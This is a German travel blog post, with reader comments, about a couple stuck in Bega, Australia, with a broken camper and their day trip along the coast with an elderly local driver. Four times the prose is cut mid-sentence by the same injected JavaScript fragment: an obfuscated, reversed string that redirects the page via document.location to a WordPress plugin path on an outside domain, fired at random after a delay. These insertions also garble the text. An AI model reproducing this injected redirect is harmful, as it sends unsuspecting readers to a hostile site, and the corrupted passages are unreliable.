Wir sitzen weiterhin in Bega mit einem kaputten Camper fest.Es sieht so aus, dass wir bis morgen warten müssen, damit der Camper in der Werkstatt repariert werden kann. Glaub ich alles erst, wenn wir wieder fahren! Denn inzwischen kommt noch eine Gasflasche mit zwei Lecks dazu!!!
Wir hatten trotzdem einen schönen Tag mit einem privaten, australischen Chaffeur. Er ist 84 Jahre alt, heisst Ron und lebt auf dem Campingplatz. Ron wurde uns von Roy, dem Manager des Caravanparks, vermittelt. Alle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total hilfsbereit hier! Ron erzählte eine Menge Dinge und war ein bißchen senil, so hat drei mal gefragt, wo wir am Vortag die Panne hatten. Wir wisssen nach dem fünfstündigem Ausflug seine ganze Lebensgeschichte. In der Kindheit hat er etwas mit einer Zwille auf sein linkes Auge bekommen. Er schielt seitdem auf dem Auge und ist halb blind. Seine 85-jährige Schwester sieht er nur zweimal im Jahr. Er war nie verheiratet, hatte aber eine Beziehung mit einer Frau, die sieben Kinder hatte, die aber inzwischen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tot ist. Er war nie außerhalb von Australien und wir sind die ersten Deutschen, die er kennenlernt hat. Früher war er Trucker. Insgesamt hat er ziemlich genuschelt, aus chicks wurde da auch schon mal chacks. Ich saß hinten und habe sowieso nur die Hälfte verstanden oder Sascha hat mir übersetzt.
Als erstes fuhr er mit uns nach Tathra. Dort war ein toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toller Ausichtspunkt aufs Meer und ein Kai mit Anglern. Ron setzte sich in ein Cafe, da er Probleme mit dem Knie hat, wärend wir einen ausgedehnten Standspaziergang machten. Weil wir dann auch noch etwas in den Sand gekritzelt haben, hat der ganze Spaziergang längern gedauert.
Ich glaube, er war kurz davor einen Suchtrupp loszuschicken, als wir wieder eintrafen. Nach einem Stück Kuchen und einem Kaffee ging es weiter nach Bermagui. Dort gab es an der Küste einen Blue Pool, ein angelegtes Schwimmbecken in das hin und wieder die Wellen einschwappen. Das muss im Sommer echt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toll sein! Jetzt leider noch zu kalt. Zum kröhnendem Abschluß gab es einen Blick über Bega. Als Dankeschön kauften wir ihm einen Green Ginger Wine. Total lecker (Ironie)! Schmeckt für mich wie Medizin. Als Apothekerin also Tagesgeschäft. Hier noch ein paar Eindrücke von dem Tag:
Die Route, die wir abgefahren sind, könnt ihr nochmal hier sehen:
Hallo ihr zwei !!!
Das hört sich ja alles superinteressant an . Besonders die Lebensgeschichte von eurem Fremdenführer 😉 Und so eine kleine Autopanne gehört doch zum Abenteuer…oder ?
Viel Spaß weiterhin
Hört sich cool an… So muss Abenteuer sein. Besser als immer nur geplant… So lernt man Fleckchen kennen, die in keinem Reiseführer stehen und man hat Kontakt zu den natives…
Viel Spass noch…
So habt ihr ja noch mal Glück im Unglück. Hört sich trotzdem alles gut an. Hoffe das der Camper morgen repariert wird.